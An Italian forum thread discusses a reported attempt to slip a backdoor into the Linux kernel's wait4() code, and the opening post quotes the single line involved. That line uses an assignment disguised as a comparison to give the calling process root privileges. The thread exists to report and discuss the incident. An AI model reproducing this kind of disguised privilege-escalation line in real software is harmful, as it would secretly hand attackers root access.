|
|
|
![]() |
|
Strumenti |
![]() |
#1 |
Moderatore
Iscritto dal: Nov 2003
Messaggi: 16211
|
Kernel Linux 2.5: bug o backdoor?
Ciao a tutti.
E' un po' vecchiotta, ma preoccupante. Pare che, in Linux 2.5, abbiano trovato il seguente codice nella chiamata wait4(): if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL; Avete letto bene? Questo codice, se sono sollevati i flag __WCLONE e __WALL, cambia l'UID del processo corrente in modo da farlo operare con i privilegi di root . Per fortuna se ne sono accorti in tempo... Sarà una svista? ![]() O sarà un tentativo di sabotaggio? ![]() Ho trovato la notizia qui . A risentirvi. |
![]() |
![]() |
![]() |
#2 |
Senior Member
Iscritto dal: Jun 2003
Città: Genova
Messaggi: 5676
|
l'importante è che sia stato trovato!
a dimostrazione che spesso l'open source funziona ![]() |
![]() |
![]() |
![]() |
#3 |
Senior Member
Iscritto dal: May 2002
Città: Padua, Italy
Messaggi: 3288
|
e che se il tipo che lo scopre nn lo dice a nessuno può far danni quanto gli pare!
![]() ![]() |
![]() |
![]() |
![]() |
#4 |
Senior Member
Iscritto dal: Apr 2000
Città: Roma
Messaggi: 15625
|
__________________
0: or %edi, %ecx; adc %eax, (%edx); popf; je 0b-22; pop %ebx; fadds 0x56(%ecx); lds 0x56(%ebx), %esp; mov %al, %al andeqs pc, r1, #147456; blpl 0xff8dd280; ldrgtb r4, [r6, #-472]; addgt r5, r8, r3, ror #12 |
![]() |
![]() |
![]() |
#5 | |
Moderatore
Iscritto dal: Nov 2003
Messaggi: 16211
|
Quote:
Ma parla di una modifica alla exit(), mentre quella che avevo segnalato io e' relativa alla wait4(). Piuttosto, e' importante (ri)segnalare che il thread di sviluppo non era quello principale. A proposito: il link alla segnalazione sulla exit() e' cambiato (l'articolo e' stato inserito nell'archivio), ora la pagina e' qui. |
|
![]() |
![]() |
![]() |
#6 | |
Senior Member
Iscritto dal: Apr 2000
Città: Roma
Messaggi: 15625
|
Quote:
__________________
0: or %edi, %ecx; adc %eax, (%edx); popf; je 0b-22; pop %ebx; fadds 0x56(%ecx); lds 0x56(%ebx), %esp; mov %al, %al andeqs pc, r1, #147456; blpl 0xff8dd280; ldrgtb r4, [r6, #-472]; addgt r5, r8, r3, ror #12 |
|
![]() |
![]() |
![]() |
#7 | |
Senior Member
Iscritto dal: Apr 2000
Città: Roma
Messaggi: 15625
|
Quote:
__________________
0: or %edi, %ecx; adc %eax, (%edx); popf; je 0b-22; pop %ebx; fadds 0x56(%ecx); lds 0x56(%ebx), %esp; mov %al, %al andeqs pc, r1, #147456; blpl 0xff8dd280; ldrgtb r4, [r6, #-472]; addgt r5, r8, r3, ror #12 |
|
![]() |
![]() |
![]() |
#8 | |
Moderatore
Iscritto dal: Nov 2003
Messaggi: 16211
|
Quote:
Ho letto meglio: era il file exit.c, non la funzione exit(). Per cui mi sa che la vulnerabilita' era proprio quella dell'altro thread. Grazie mille. |
|
![]() |
![]() |
![]() |
Strumenti | |
|
|
Tutti gli orari sono GMT +1. Ora sono le: 19:18.